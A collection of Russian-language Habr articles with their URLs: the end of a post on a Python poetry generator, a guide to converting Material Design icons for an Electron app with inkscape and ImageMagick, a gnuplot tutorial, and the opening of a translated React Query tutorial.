После этого, весь функционал я запаковал в объекты, разложил по модулям, и быстренько запилил использующий эти модули скрипт на Python, работающий из командной строки, запускающийся с теми же ключами, и умеющий все то же, что и оригинальная программа. А еще он умеет загружать базы от оригинальной программы, хотя сохраняет их уже в своем формате – сериализацией данных через Python pickle. Хотя алгоритм оригинальной программы изрядно перелопачен, во многих местах я оставил оригинальные комментарии – читать их интересно, и они хранят дух той эпохи. Кроме того, будучи запущенной с ключом –oldschool, скрипт выводит в консоль help оригинальной программы, где есть куча приветов разным человекам и пароходам.
Вот пример сочиняемых стихов:
```
***
мАркеров И смОтрит нА
конурУ И именА
втОрник Я сначАла Ехал
консультАция должнА
пАмять хИтрость И даЕт
вскАкиваю И поЕт
нАдо А потОм Я вЫшел
головОй И продаЕт
```
```
***
какИми словАми сейчАс нЕ смущАет
вокрУг стУк однАжды агА иногдА
листОчков врАг нОмер одИн предлагАет
прогрАмма нЕ пЕрвый трамвАй шЕл кудА
покАзывает чтО нибУдь сО словАми
егО зА компьЮтер забЫла включИть
старАясь нЕ врЕмя семЕстра А сАми
потОм Я самА проезднОй нЕ учИть
```
В результате, мы имеем программу, сочиняющую графоманские стихи, с помощью которой довольно интересно экспериментировать с различными текстами.
Что еще к ней можно доделать хорошего:
* при генерации базы слов составлять словарь рифм – это позволит ускорить подбор слов
* научить программу использовать словари ударений из Интернета, что позволит более корректно автоматически расставлять ударения (но все равно не всегда правильно – в русском языке есть слова с одинаковым написанием, но разным ударением)
* научить программу сочинять на тех иностранных языках, где написание однозначно определяет звучание слова. С английским это будет проблематично – там, как говорится, «Пишем Ливерпуль читаем Манчестер», а вот с французским – вполне реально. Вдобавок, там проще расставлять ударения – они (почти) всегда падают на конец слова.
Вот собственно, все, о чем я хотел рассказать в этой статье.
Плоды своих трудов я выложил на [Github](https://github.com/lebedevsergey/poet-ex-machina).
Всем спасибо за внимание! | https://habr.com/ru/post/323034/ | null | ru | null |
# Производство Material иконок для MacOSX приложения Home Assistant на Electron
В [первой серии](https://habr.com/ru/post/496856/) я заварил умный дом на Home Assistant. В процессе я влюбился в Home Assistant и подумал, не написать ли десктопное приложение для этой системы. У Home Assitant есть прекрасный web-интерфейс и показалось разумным завернуть его в Electron, чтобы получить красивую иконку в доке, родные нотификации, menu bar для быстрого доступа и прочие zeroconf. Home Assistant для всего что можно использует Material Icons: для дашбордов, для состояний, для кнопок, для всего. Это значит, что надо подтянуть весь набор материальных иконок в приложение Electron.
Electron применяет для работы с картинками API [nativeImage](https://www.electronjs.org/docs/api/native-image), который в 2020м году не принимает векторные форматы и изволит потреблять только PNG и JPG. JPG нам не подходит так как артефакты компрессии для иконок убийственны. Значит надо где-то добыть формат перегоняемый в PNG. Забравшись на [родной сайт материальных иконок](https://materialdesignicons.com/) я минут 15 искал готовый пакет материальных иконок для MacOSX нарезанных в png в разные размеры и под разные dpi… Сложно сказать почему, но ничего подобного там не публикуют. Придется производить самостоятельно.
[Home Assistant](https://www.home-assistant.io/) предлагает в конфигах объявлять иконки в формате “mdi:home-cirlce” — имя иконки ([отсюда](https://materialdesignicons.com/cdn/2.0.46/)) с заменой первого символа ‘-’ на ‘:’. Замену “-“=>”:” мы программно обратим, чтобы быть ближе к оригиналу и не использовались символы “:” в именах файлов. Первым местом, куда я хотел прикрутить иконки, было [меню дашбордов Home Assistant](https://www.home-assistant.io/docs/ecosystem/hadashboard/). Для menubar в macosx используются картинки размером 16x16 пикселей и @2 для ретины (может еще какие-то, на моём маке этого хватало @2). Значит мне надо получить для каждой иконки из материального набора по два файла:
```
mdi-icon-name16.png
mdi-icon-name16@2.png
```
В имя добавил размер, чтобы добавление новых размеров картинок не мешало ходить в будущем.
Конечные шрифты обычно собираются из картинок SVG, это породило две задачи: 1 — найти svg материальных иконок, 2 — автоматизировать их нарезку для >5000 файлов.
Родной сайт всё-таки пригодился, там я нашел команду «npm install [mdi](https://habr.com/ru/users/mdi/)/font”. Наугад подставив svg вместо font командой „npm install [mdi](https://habr.com/ru/users/mdi/)/svg” был получен весь набор материальных иконок аккуратно лежащих в одной директории node\_modules/@mdi/svg/svg/ с именами типа mdi-icon-name.svg. Привычный ImageMagick показал крайне низкое качество получившихся картинок, утилита svg2png работала еще хуже. Но добрый stackoverflow подсказал, что с этой задачей справится [inkscape](https://inkscape.org/) вот такой командой
```
inkscape -w 16 -h 16 node_modules/@mdi/svg/svg/ab-testing.svg \
-o images/mdi-ab-testing16.png
```
Результат оказался удовлетворительным
Но более пристальное вскрытие показало, что в Dark Mode такие иконки выглядят уныло:
Сайт эппла поведал, что они изобрели особый формат [Template](https://developer.apple.com/design/human-interface-guidelines/macos/icons-and-images/custom-icons/) для того, чтобы картинки можно было инвертировать без особого труда, коли судьба приведет в Dark Mode. В роли такого файлы выступает PNG картинка в которой у все пиксели черные, а сама иконка рисуется прозрачностью (на альфа-канале). При этом Electron умеет подхватывать такие картинки если в их имени есть “Template”. Значит к двум файлам с иконками надо добавить еще два с Template иконками получаем вот такой набор для каждой иконки:
```
mdi-icon-name16.png
mdi-icon-name16@2.png
mdi-icon-name16Template.png
mdi-icon-name16Template@2.png
```
Inkscape чудеса с альфаканалом вытворять с консоли не умеет, а вот convert из ImageMagick запросто.
Делаем в три шага:
```
inkscape -w 16 -h 16 \
node_modules/@mdi/svg/svg/ab-testing.svg \
-o images/mdi-ab-testing16.png
convert -size 16x16 xc:none images/background16.png
convert -verbose -composite images/background16.png \
images/mdi-ab-testing16.png -compose CopyAlpha \
menuicons/ab-testingTemplate16.png
```
1 — Создание растровой картинки из вектора
2 — Создание прозрачной картинки для шага три
3 — Создание файла с переносом градаций серого в альфаканал
Уже с Template иконками меню в Dark Mode стало выглядеть вот так
Ок, цель достигнута. Скриптом перегоняем все картинки в нужные форматы
```
#!/bin/sh -x
set -e
# Run 'npm install @mdi/svg' beforehead
MDISVG_PATH='node_modules/@mdi/svg/svg/'
#Put inkscape and convert into PATH
PATH=$PATH:/Applications/Inkscape.app/Contents/MacOS/
mkdir -p images
convert -size 32x32 xc:none images/background16@2x.png
convert -size 16x16 xc:none images/background16.png
SIZES="
16,16
32,16@2x
"
FILES=`ls ${MDISVG_PATH} |grep svg`
for SVG in $FILES; do
BASE=$(basename "$SVG" | sed 's/\.[^\.]*$//')
for PARAMS in $SIZES; do
SIZE=$(echo $PARAMS | cut -d, -f1)
LABEL=$(echo $PARAMS | cut -d, -f2)
inkscape -w $SIZE -h $SIZE "$MDISVG_PATH/$SVG" \
-o "images/mdi-${BASE}${LABEL}".png
convert -verbose \
-composite images/background${LABEL}.png "images/mdi-${BASE}${LABEL}".png \
-compose CopyAlpha \
"images/${BASE}Template${LABEL}".png
done
done
```
Ждем пару часов пока с конвейера сойдет >20000 картинок…
P.S. Это не единственные приключения при работе с Electron, о дальнейших приключениях отпишу по мере их завершени… | https://habr.com/ru/post/497880/ | null | ru | null |
# Gnuplot и с чем его едят
[](https://habr.com/ru/company/ruvds/blog/517450/)
Наверняка многие из вас листая западные научные издания видели красивые и простые графики. Возможно некоторые из вас задумывались в чём же эти учёные мужи визуализируют свою данные. И вот есть шикарный и очень простой инструмент для построения графиков, который есть практически везде: Windows, linux, android, и прочих, уверен даже есть под ДОС. Он надёжен, прост и позволяет представить в виде красивых графиков любые текстовые-табличные данные.
Почему именно gnuplot?
----------------------
Если вы уже читали мои статьи «[Одновременный speedtest на нескольких LTE-модемах](https://habr.com/ru/company/ruvds/blog/510046/)», «[Гармонические колебания](https://habr.com/ru/post/219337/)», «[Создаём аппаратный генератор случайных чисел](https://habr.com/ru/post/274833/)»), то могли обратить внимание на красивые графики.
**График из поста про генератор случайных чисел**
**Картинка из поста про speetest модемов**
Графики простые и классные. Наиболее ценное преимущество gnuplot заключается в том, что для их построения вам нужен только текстовый файл с исходными данными, gnuplot на вашей любимой ОС (хоть OpenWRT) и любимый тестовый редактор ~~vim~~.
На первый взгляд может показаться, что gnuplot сложнее в использовании для построения графиков чем MS Exel. Но это только так кажется, порог вхождения чуть выше (это вам не мышкой наклацать, тут надо документацию читать), но на практике выходит намного проще и удобнее. Один раз написал скрипт и используешь его всю жизнь. Мне реально намного сложнее построить график в Exel, где всё не логично, нежели в gnuplot. А главное преимущество gnuplot, то что его можно встраивать в свои программы и на ходу визуализировать данные. Так же gnuplot без особых проблем строит график с 30-ти гигабайтового файла статистических данных, тогда как Exel просто падал и не мог его открыть.
К плюсам gnuplot можно отнести то, что он легко интегрируется в код на стандартных языках программирования. Есть готовые библиотеки для многих языков, лично я сталкивался с php и python. Таким образом можно генерировать графики прямо из своей программы.
Для примера скажу, что моя хорошая подруга, когда писала диссертацию освоила gnuplot (с моей подачи). Она ни разу не технарь, но разобралась за один вечер. После чего строила графики только там, и уровень её работы стал выгодно отличаться на фоне коллег, использующих Excel. Лично для меня показателем высокого качества научной работы являются графики, построенные специализированными программами.
Таким образом, gnuplot — это просто, доступно и красиво. Едем дальше.
Gnuplot — применение
--------------------
Работа с gnuplot возможна двумя способами: командный режим и режим выполнения скриптов. Рекомендую сразу использовать второй режим, как наиболее удобный и быстрый. Тем более, что функционал абсолютно тот же.
Но для старта погоняем gnuplot в командном режиме. Запускаем gnuplot из командной строки, либо тем способом который доступен для вашей ОС. Обучение можно начать даже не с чтения этой статьи, а прямо с самой первой команды **help**. Она выведет шикарную справку и дальше по ней можно идти. Но мы пробежимся по основным моментам.
График строится командой **plot**. В качестве параметров команды можно задать функцию, либо имя файла данных. А так же какой столбец данных использовать и чем соединять точки, как их обозначать и т.д. Давайте проиллюстрирую.
`gnuplot> plot sin(x)`
После выполнения команды у нас откроется окно, где будет график синуса, с подписями по умолчанию. Давайте улучшим этот график, заодно разберёмся с дополнительными опциями.
Подпишем оси.
```
set xlabel "X"
```
Задает подпись для оси абсцисс.
```
set ylabel "Y"
```
Задает подпись для оси ординат.
Добавим сетку, чтобы было видно где построен график.
```
set grid
```
Мне не нравится, что по оси ординат синусоида упирается в конец графика, поэтому зададим лимиты значений, которыми будет ограничен график.
```
set yrange [-1.1:1.1]
```
Таким образом график у нас будет отрисован от минимального значения -1,1 до максимального 1,1.
Точно так же, устанавливаю диапазон для оси абсцисс, чтобы был виден только один период синусоиды.
```
set xrange[-pi:pi]
```
Надо бы добавить заголовок к нашему графику, чтобы всё по феншую было.
```
set title "Gnuplot for habr" font "Helvetica Bold, 20"
```
Обратите внимание, что можно задавать шрифты и их размер. Какие шрифты можно использовать, смотрите в документации на gnuplot.
Ну и наконец, давайте кроме синуса на графике ещё нарисуем и косинус, да ещё и зададим тип линии и её цвет. А так же добавим легенды, что же мы чертим.
```
plot sin(x) title "sinux" lc rgb "red", cos(x) title "cosinus" lc rgb "green"
```
Здесь мы рисуем два графика на одном холсте, красным и зелёным цветом. Вообще вариантов линий (пунктир, штрих, сплошная), тощин линий, цветов великое множество. Как и типов точек. Моя цель лишь продемонстрировать спектр возможностей. Сведём все команды в одну кучку и выполним их последовательно. Чтобы сбросить предыдущие настройки, введём reset.
```
reset
set xlabel "X"
set ylabel "Y"
set grid
set yrange [-1.1:1.1]
set xrange[-pi:pi]
set title "Gnuplot for habr" font "Helvetica Bold, 20"
plot sin(x) title "sinux" lc rgb "red", cos(x) title "cosinus" lc rgb "green"
```
В результате получаем вот такую красоту.
**График уже не стыдно публиковать в научном журнале.**
Если вы повторяли честно всё это за мной, то могли заметить, что вручную каждый раз вводить это, даже копируя, как-то не комильфо. Но это же готовый скрипт? Так давайте же его и сделаем!
Выходим из командного режима, командой exit и создаём файл:
```
vim testsin.gpi
```
```
#! /usr/bin/gnuplot -persist
set xlabel "X"
set ylabel "Y"
set grid
set yrange [-1.1:1.1]
set xrange[-pi:pi]
set title "Gnuplot for habr" font "Helvetica Bold, 20"
plot sin(x) title "sinux" lc rgb "red", cos(x) title "cosinus" lc rgb "green"
```
Делаем его исполняемым и запускаем. ~~Ну не забываем как выйти из vim.~~
```
chmod +x testsin.gpi
./testsin.gpi
```
В результате получаем такое же окно с графиками. Если в заголовке не добавить “-persist”, то окно автоматически закроется после выполнения скрипта.
Но окно создавать часто не очень нужно, плюс не всегда удобно им пользоваться, да и вы можете работать в операционной системе без GUI. Значительно чаще нужно получать графические файлы. Лично я предпочитаю векторный формат postscript, так как при большом количестве точек можно приближать различные участки графика, без потери качества. И так же просмотрщик в линуксе автоматически обновляет окно с графиком, при изменении файла postscript, что тоже весьма удобно.
Для того, чтобы вывести данные в файл, а не на экран, надо переназначить терминал.
```
set terminal png size 800, 600
set output "result.png"
```
Как не трудно догадаться, указываем тип файла, его разрешение, затем указываем имя файла. Добавляем эти две строки в начало нашего скрипта, и получаем эту картинку в текущей папке.
Для того, чтобы сохранять в postscript нужно использовать следующие команды:
```
set terminal postscript eps enhanced color solid
set output "result.ps"
```
Реальные данные
---------------
Синусы, косинусы рисовать конечно прикольно, но всё же реальные данные рисовать намного интереснее! Напомню [недавнюю задачу, о которой писал статью](https://habr.com/ru/company/ruvds/blog/510046/) — вывод графиков скорости интернета за длительные промежутки времени. Формат данных там был следующий.
> Operator; #Test; Date; Time; Coordinates; Download Mb/s; Upload Mb/s; ping; Testserver
>
> Rostelecom;0;21.05.2020;09:56:00;NA, NA;3.7877656948451692;5.231226008184113;132.227;MaximaTelecom (Moscow) [0.12 km]: 132.227 ms
>
> Rostelecom;1;21.05.2020;10:01:02;NA, NA;5.274994541394363;5.1088572634075815;127.52;MaximaTelecom (Moscow) [0.12 km]: 127.52 ms
>
> Rostelecom;2;21.05.2020;10:04:35;NA, NA;3.61044819424076;4.624132180211938;135.456;MaximaTelecom (Moscow) [0.12 km]: 135.456 ms
Видно, что разделителем у нас служит точка с запятой, нам нужно вывести скорость загрузки, скорость выгрузки в зависимости от времени. При этом, если обратить внимание дата и время находятся в разных столбцах. Сейчас расскажу, как я это обошёл. Сразу приведу скрипт, по которому строился график.
```
#! /usr/bin/gnuplot -persist
set terminal postscript eps enhanced color solid
set output "Rostelecom.ps"
#set terminal png size 1024, 768
#set output "Rostelecom.png"
set datafile separator ';'
set grid xtics ytics
set xdata time
set timefmt '%d.%m.%Y;%H:%M:%S'
set ylabel "Speed Mb/s"
set xlabel 'Time'
set title "Rostelecom Speed"
plot "Rostelecom.csv" using 3:6 with lines title "Download", '' using 3:7 with lines title "Upload"
set title "Rostelecom 2 Ping"
set ylabel "Ping ms"
plot "Rostelecom.csv" using 3:8 with lines title "Ping"
```
В начале файла мы задаём выходной файл postscript (либо png, если будет нужен).
*set datafile separator ';'* — мы задаём символ разделитель. По умолчанию столбцы разделяет пробел, но csv-файл предлагает множество вариантов разделителей, и нужно уметь использовать все.
*set grid xtics ytics* — устанавливаем сетку (можно сетку установить только по одной оси).
*set xdata time* — это важный момент, мы говорим о том, что по оси X формат данных будет время.
*set timefmt '%d.%m.%Y;%H:%M:%S*' — задаём формат данных времени. Обратите внимание, что в формат времени попал символ разделения столбцов(";"), таким образом мы обработаем две колонки как одну.
Задаём подписи осей и графика. После чего строим график.
*plot «Rostelecom.csv» using 3:6 with lines title «Download», '' using 3:7 with lines title «Upload»* — на одном графике мы строим как скорость скачивания, так и скорость отдачи. *Using 3:6* — это номер столбца в нашем файле исходных данных, что от чего строим (X:Y).
Далее так же точно строим график для пинга. Результирующий график будет выглядеть следующим образом.
Это скриншот с postscript. Прямые линии в графике связанны с тем, что там пропуски данных. Вот вполне реальный пример построения графика.
А 3D???
-------
Вы хотите 3D? Их есть у меня!
Долго думал, какой же пример трёхмерного графика привести, и не придумал ничего лучше, чем визуализировать картинку. Ведь по сути картинка — это трёхмерный график, где яркость пикселя — это координата по z. Поэтому давайте немного похулиганим.
Возьмём самое знаменитое фото Эйнштейна.
И сделаем из него график. Для этого конвертнём его в формат pgm ASCII и выкинем все пробелы, заменив переводом строки, такой простой командой.
```
convert Einstein.jpg -compress none pgm:- | tr -s '\012\015' ' ' | tr -s ' ' '\012'> outfile.pgm
```
Кто не понял, что здесь происходит, поясняю: мы конвертируем с помощью imagemagic картинку в формат pgm, а потом с помощью tr заменяем перевод каретки с переносом на новую строку на пробел, а потом все пробелы на перенос каретки и сохраняем это всё в outfile.pgm. Кому это сложно, могут открыть файл в gimp и экспортировать его как pgm-ASCII.
После чего открываем получившийся файл нашим любимым редактором ~~vim~~ и удаляем у него заголовок. В моём случае это первые три строки. Из заголовка не забываем узнать разрешение файла, в данном случае было 325х408 пикселей. Всё, мы получили текстовый файл координат Z! Теперь наша задача добавить координаты X и Y, для этого прогоним всё это через питоновский скрипт.
```
f = open('outfile.pgm')
for x in range(408):
for y in range(325):
line = f.readline()
print ('%d %d %s' % (x, y, line)),
f.close()
```
Сохраняем это как convert.py и запускаем:
```
python convert.py > res.txt
```
Всё, у нас теперь res.txt содержит координаты Эйнштейна… Хм, ну точнее сказать координаты его изображения. Ну в общем, вы поняли :).
> …
>
> 406 317 60
>
> 406 318 54
>
> 406 319 30
>
> 406 320 41
>
> 406 321 84
>
> 406 322 101
>
> 406 323 112
>
> 406 324 119
>
> 407 0 128
>
> 407 1 53
>
> 407 2 89
>
> 407 3 95
>
> 407 4 87
>
> ...
**Пример файла.**
Скрипт для построения этой красоты выглядит следующим образом.
```
#! /usr/bin/gnuplot -persist
#set terminal png size 1024, 768
#set output "result.png"
#set grid xtics ytics
#set terminal postscript eps enhanced color solid
#set output "result.ps"
set title "Albert Einstein"
set palette gray
set hidden3d
set pm3d at bs
set dgrid3d 100,100 qnorm 2
set xlabel "X" font "Helvetica Bold ,18"
set ylabel "Y" rotate by 90 font "Helvetica Bold ,18"
set zlabel "Z" font "Helvetica Bold ,18"
set xrange [0:408]
set yrange [0:325]
set zrange [-256:256]
unset key
splot "./res.txt" with l
```
Прежде чем мы пойдём разбирать скрипт, если вы будете это повторять, то настоятельно рекомендую выполнить строки скрипта в командном режиме, чтобы можно было мышкой вращать график (разумеется не указывая set terminal). Это очень круто!
Вначале мы устанавливаем тип выходных данных, а так же границы данных. Границы выставлены по размерам картинки, и плюс от низа я отступил по оси Z на 256 символов, чтобы была видна проекция картинки. Дальше мы озаглавливаем график, подписываем оси. Командой unset key — я отключаю легенды (она не нужна на графике). А вот далее идёт настоящая магия!
*set palette gray* — мы задаём палитру. Если оставить по умолчанию, то график будет цветным, как на тепловизоре. Чем выше, тем более жёлтое пятно, чем ниже тем темнее красный цвет.
*set hidden3d* — как бы натягивает изогнутую поверхность (удаляет линии), таким образом формируется красивая выпуклая повехность.
*set pm3d at bs* — включаем стиль рисования трёхмерный данных, который рисует данные с координатой сеткой и цветом. Подробнее читайте в документации, более детальное описание выходит за рамки статьи.
*set dgrid3d 100,100 qnorm 2* — устанавливаем размер ячеек сетки 100х100, и сглаживание между ячейками. Значение 100х100 и так очень большое, и программа сильно тормозит. qnorm 2 — это сглаживание (интерполяция данных между ячейками).
*splot "./res.txt" with l* — рисуем получившийся график. «With l» — означает рисовать график линиями. Это мелкий хак, потому что точки видны на графике (можно задать маленькие точки).
После запуска ждём некоторое время, и получаем полигональный «барельеф». Попробуйте поэкспериментировать с настройками, чтобы получить другие варианты визуализации.
**Изображение в командном режиме, после того как повращали.**
Тут вспоминается сразу анекдот.
> Как найти площадь Ленина?
>
> Только необразованный человек ответит на этот вопрос, что нужно высоту Ленина умножить на ширину Ленина.
>
> Образованный человек знает, что нужно взять интеграл по поверхности.
Применение gnuplot в своих программах
-------------------------------------
Пример взят со [stackoverflow](https://stackoverflow.com/questions/9403474/gnuplot-and-usleep-on-c с) с моими небольшими доработками.
Код генерирует текстовый файл и постоянно вызывает перестроение графика. Код приложу под спойлер, чтобы не рвать статью.
**Пример кода на Си использующего gnuplot**
```
#include
#include
#include
float s=10.;
float r=28.;
float b=8.0/3.0;
/\* Definimos las funciones \*/
float f(float x,float y,float z){
return s\*(y-x);
}
float g(float x,float y,float z){
return x\*(r-z)-y;
}
float h(float x,float y,float z){
return x\*y-b\*z;
}
FILE \*output;
FILE \*gp;
int main(){
gp = popen("gnuplot -","w");
output = fopen("lorenzgplot.dat","w");
float t=0.;
float dt=0.01;
float tf=30;
float x=3.;
float y=2.;
float z=0.;
float k1x,k1y,k1z, k2x,k2y,k2z,k3x,k3y,k3z,k4x,k4y,k4z;
fprintf(output,"%f %f %f \n",x,y,z);
fprintf(gp, "splot './lorenzgplot.dat' with lines \n");
/\* Ahora Runge Kutta de orden 4 \*/
while(t
```
Код работает очень просто, мы открываем pipe:
```
gp = popen("gnuplot -","w");
```
Это аналогично вертикальной черте в bash, когда мы за одной командой пишем другую, только внутри программы. Пишем данные в файл lorenzgplot.dat. Один раз вызываем в gnuplot команду splot:
```
fprintf(gp, "splot './lorenzgplot.dat' with lines \n");
```
И далее при добавлении новой точки, мы перестраиваем график.
```
fprintf(gp, "replot \n");
```
В результате получаем очень красивое медленное построение Аттрактора Лоренца. Ниже видео, снятое почти десять лет назад, на старенький фотоаппарат, поэтому не ругайтесь сильно. Важно в видео другое, что всё это прекрасно работает на таком старом железе, как Nokia N800. Смотреть это желательно без звука.
Важно понимать, что команда **replot** очень хорошо кушает память и процессорное время, то есть, вот такое построение графика некисло так подтормаживает систему. Так что, при всей любви к gnuplot — это не лучший способ его использования. Ещё одна проблема, что данное окно не удастся ни закрыть, ни передвинуть.
Заключение
----------
Напоследок хочу показать видео, в котором я собрал сотни графиков случайного логарифмического распределения регистраций радиоактивных частиц, реальные данные одного исследования. Видео можно и нужно смотреть со звуком.
В этой статье не смог рассказать и тысячной доли возможностей данного графопостроителя, разве что немного ознакомил читателя с данной программой. Далее вам следует самостоятельно искать примеры, читать документацию на официальном сайте [gnuplot.sourceforge.net](http://gnuplot.sourceforge.net/) либо [www.gnuplot.info](http://www.gnuplot.info/). Обязательно загляните в примеры, там очень много интересного и полезного.
Для старта так же могу порекомендовать [Краткое введение в gnuplot (рус)](https://phys.vsu.ru/~meremianin/pdfs/gnuplot-gdoc.pdf). Искренне удивлён, что такая замечательная программа не изучается во всех технических ВУЗах наравне с Latex. У нас зачем-то учили MS Exel и Word.
Изучить gnuplot не сложно, я потратил буквально несколько дней в попытке разобраться с нуля. Но с данной статьёй, верю, что у вас всё будет быстрее. Теперь я забыл о всяких Exel/Calc в качестве графопостроителей, использую только гнуплот. Тем более, что я даже не знаю и десятой доли всех возможностей построения графиков.
Хочу отметить, что существуют множество других графопостроителей, не хуже, чем гнуплот, тем более, что он достаточно старый. Но для меня gnuplot оказался наиболее простым и исчерпывающим. Плюс он самый распространённый графопостроитель, и в сети громадное количество примеров его использования. Спасибо что дочитали!
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=dlinyj&utm_content=gnuplot#order) | https://habr.com/ru/post/517450/ | null | ru | null |
# React: разработка реального приложения с помощью React Query
Привет, друзья!
Представляю вашему вниманию перевод [этой замечательной статьи](https://www.smashingmagazine.com/2022/01/building-real-app-react-query/), в которой рассказывается о разработке приложения с помощью [React Query](https://tanstack.com/query/v4/?from=reactQueryV3&original=https://react-query-v3.tanstack.com/).
[Репозиторий с кодом проекта](https://github.com/horprogs/react-query)
Прим. пер.: автор рассказывает лишь о ключевых особенностях приложения, поэтому я рекомендую клонировать репозиторий, установить зависимости и запустить сервер для разработки, чтобы иметь возможность выполнять необходимые операции при чтении статьи. *Обратите внимание*: если у вас возникнут проблемы при запуске сервера для разработки с помощью команды `npm start`, перенесите переменные, определенные в этой команде в файле `package.json`, в файл `.env`:
```
SKIP_PREFLIGHT_CHECK=true
TSC_COMPILE_ON_ERROR=true
ESLINT_NO_DEV_ERRORS=true
```
И отредактируйте команду `start` следующим образом:
```
"start": "react-scripts start"
```
[Руководство по React Query](https://my-js.org/docs/guide/react-query)
Если вам когда-либо приходилось разрабатывать `React-приложение`, в котором используются асинхронные данные (а это практически любое приложение), вы наверняка знаете, насколько утомительным может быть обработка различных состояний (загрузка, ошибка и т.д.), распределение состояния между компонентами, обращающимися к одной и той же конечной точке `API` и обеспечение согласованности состояния в компонентах.
Для обновления данных нам приходится выполнять множество операций: определять хуки `useState` и `useEffect`, получать данные из `API`, помещать обновленные данные в состояние, менять состояние загрузки, обрабатывать ошибки и т.п. К счастью, у нас есть `React Query` — библиотека, которая значительно облегчает получение, кэширование и управление данными.
Преимущества использования нового подхода
-----------------------------------------
`React Query` предоставляет впечатляющий перечень возможностей:
* кэширование;
* дедупликация одинаковых запросов;
* обновление устаревших данных в фоновом режиме (при установке фокуса, повторном подключении, периодически и др.);
* оптимизация производительности за счет пагинации и ленивой загрузки данных;
* мемоизация результатов запроса;
* предварительное получение данных;
* мутации, облегчающие реализацию оптимистичных обновлений etc.
Для демонстрации всех этих возможностей я разработал приложение, в котором реализована большая часть функционала, предоставляемого `React Query`. Приложение написано на `TypeScript`, в нем используется [CRA](https://create-react-app.dev/), `React Query`, [Axios Mock Adapter](https://www.npmjs.com/package/axios-mock-adapter) и [Material UI](https://mui.com/) для быстрого прототипирования.
Функционал приложения
---------------------
Приложение представляет собой реализацию системы обслуживания автомобилей. Функционал приложения следующий:
* авторизация пользователей с помощью адреса электронной почты и пароля;
* отображение списка предстоящих встреч (appointments — ТО) с возможностью загрузки дополнительных данных;
* отображение информации о конкретной встрече;
* сохранение и отображение истории изменений;
* предварительное получение дополнительной информации;
* добавление и изменение необходимых работ/задач.
Взаимодействие на стороне клиента
---------------------------------
В качестве замены реального сервера в приложении используется `axios-mock-adapter`. Я подготовил своего рода `REST API` с конечными точками для `GET/POST/PATCH/DELETE-запросов`. Для хранения данных используются фикстуры (fixtures). Ничего особенного — всего лишь мутируемые переменные.
Кроме того, для визуализации модификации состояния добавлена задержка в 1 секунду для ответа на каждый запрос.
Подготовка к использованию React Query
--------------------------------------
Для того, чтобы иметь возможность использовать фичи, предоставляемые `React Query`, основной компонент приложения необходимо обернуть в соответствующий провайдер:
```
const queryClient = new QueryClient();
ReactDOM.render(
,
document.getElementById('root')
);
```
Конструктор `QueryClient` позволяет устанавливать некоторые глобальные настройки.
Для облегчения разработки мы создадим собственные абстракции для хуков `React Query`. Для подписки на запрос (query) необходимо передать уникальный ключ. Простейшим способов является использование строк, но также можно использовать массивоподобные ключи.
В официальной документации используются строки, но я нахожу это немного избыточным, поскольку у нас имеются адреса запросов (`URL`). Мы вполне можем использовать эти `URL` в качестве ключей.
Однако существуют некоторые ограничения: если вы собираетесь использовать разные `URL` для `GET/PATCH`, например, вы должны использовать одинаковый ключ, в противном случае, `React Query` не сможет сопоставить эти запросы.
Также важно помнить о необходимости включения не только самого `URL`, но и всех параметров, которые содержатся в запросе. Комбинация `URL` и параметров позволяет создавать уникальные ключи, используемые `React Query` для кэширования.
В качестве средства получения данных (fetcher) в приложении используется [Axios](https://github.com/axios/axios), которому передается `URL` и параметры из `queryKey`:
```
export const useFetch = (
url: string | null,
params?: object,
config?: UseQueryOptions
) => {
const context = useQuery(
[url!, params],
({ queryKey }) => fetcher({ queryKey }),
{
enabled: !!url,
...config,
}
);
return context;
};
export const fetcher = ({
queryKey,
pageParam,
}: QueryFunctionContext): Promise => {
const [url, params] = queryKey;
return api
.get(url, { params: { ...params, pageParam } })
.then((res) => res.data);
};
```
Здесь `[url!, params]` — это наш ключ, а настройка `enabled: !!url` предназначена для отмены выполнения запроса при отсутствии `url` (об этом немного позже). В качестве средства получения данных можно использовать что угодно, это не имеет особого значения.
Для улучшения опыта разработки можно использовать инструменты разработчика `React Query`:
```
import { ReactQueryDevtools } from 'react-query/devtools';
ReactDOM.render(
,
document.getElementById('root')
);
```
Аутентификация
--------------
Для того, чтобы пользоваться нашим приложением, пользователь должен авторизоваться с помощью email и пароля. Сервер возвращает токен, который записывается в куки (в приложении работает любая комбинация email/пароль). Впоследствии токен прикрепляется к каждому запросу.
С помощью токена запрашивается профиль пользователя. В шапке (header) отображается имя пользователя или индикатор загрузки, если запрос находится в стадии выполнения. Интересной частью является то, что мы можем обрабатывать перенаправление на страницу авторизации в корневом компоненте `App`, а имя пользователя отображать в отдельном компоненте.
Вот где начинается магия `React Query`. С помощью хуков мы легко можем распределять данные о пользователе без их передачи в качестве пропов.
`App.tsx`:
```
const { error } = useGetProfile();
useEffect(() => {
if (error) {
history.replace(pageRoutes.auth);
}
}, [error]);
```
`UserProfile.tsx`:
```
const UserProfile = ({}: Props) => {
const { data: user, isLoading } = useGetProfile();
if (isLoading) {
return (
);
}
return (
{user ? `User: ${user.name}` : 'Unauthorized'}
);
};
```
Запрос к `API` будет выполняться только один раз (это называется дедупликацией запросов, о чем мы поговорим в следующем разделе).
Хук для получения данных профиля:
```
export const useGetProfile = () => {
const context = useFetch<{ user: ProfileInterface }>(
apiRoutes.getProfile,
undefined,
{ retry: false }
);
return { ...context, data: context.data?.user };
};
```
Настройка `retry: false` определяет, что запрос выполняется однократно. Если запрос завершается неудачно, мы считаем, что пользователь неавторизован и выполняем перенаправление.
После ввода пользователем email и пароля отправляется обычный `POST-запрос`. Теоретически, мы можем использовать здесь мутации `React Query`, но в данном случае у нас нет необходимости определять состояние `const [btnLoading, setBtnLoading] = useState(false)` и управлять им, я думаю, что это будет лишним.
Если запрос выполняется успешно, мы инвалидируем все запросы для получения свежих данных. В нашем приложении речь идет об одном запросе — запросе профиля пользователя для обновления имени в шапке:
```
if (resp.data.token) {
Cookies.set('token', resp.data.token);
history.replace(pageRoutes.main);
queryClient.invalidateQueries();
}
```
Для инвалидации одного запроса можно использовать `queryClient.invalidateQueries(apiRoutes.getProfile)`.
Дедупликация запросов
---------------------
Предположим, что у нас есть 2 разных компонента, которые обращаются к одинаковой конечной точке `API`. Обычно, требуется выполнить 2 идентичных запроса, что является пустой тратой ресурсов сервера. `React Query` позволяет дедуплицировать такие запросы. Это означает, что вместо нескольких запросов будет выполнен лишь один.
В приложении есть 2 компонента: компонент, отвечающий за отображение общего количества встреч, и компонент, содержащий список встреч.
Компонент общего количества встреч:
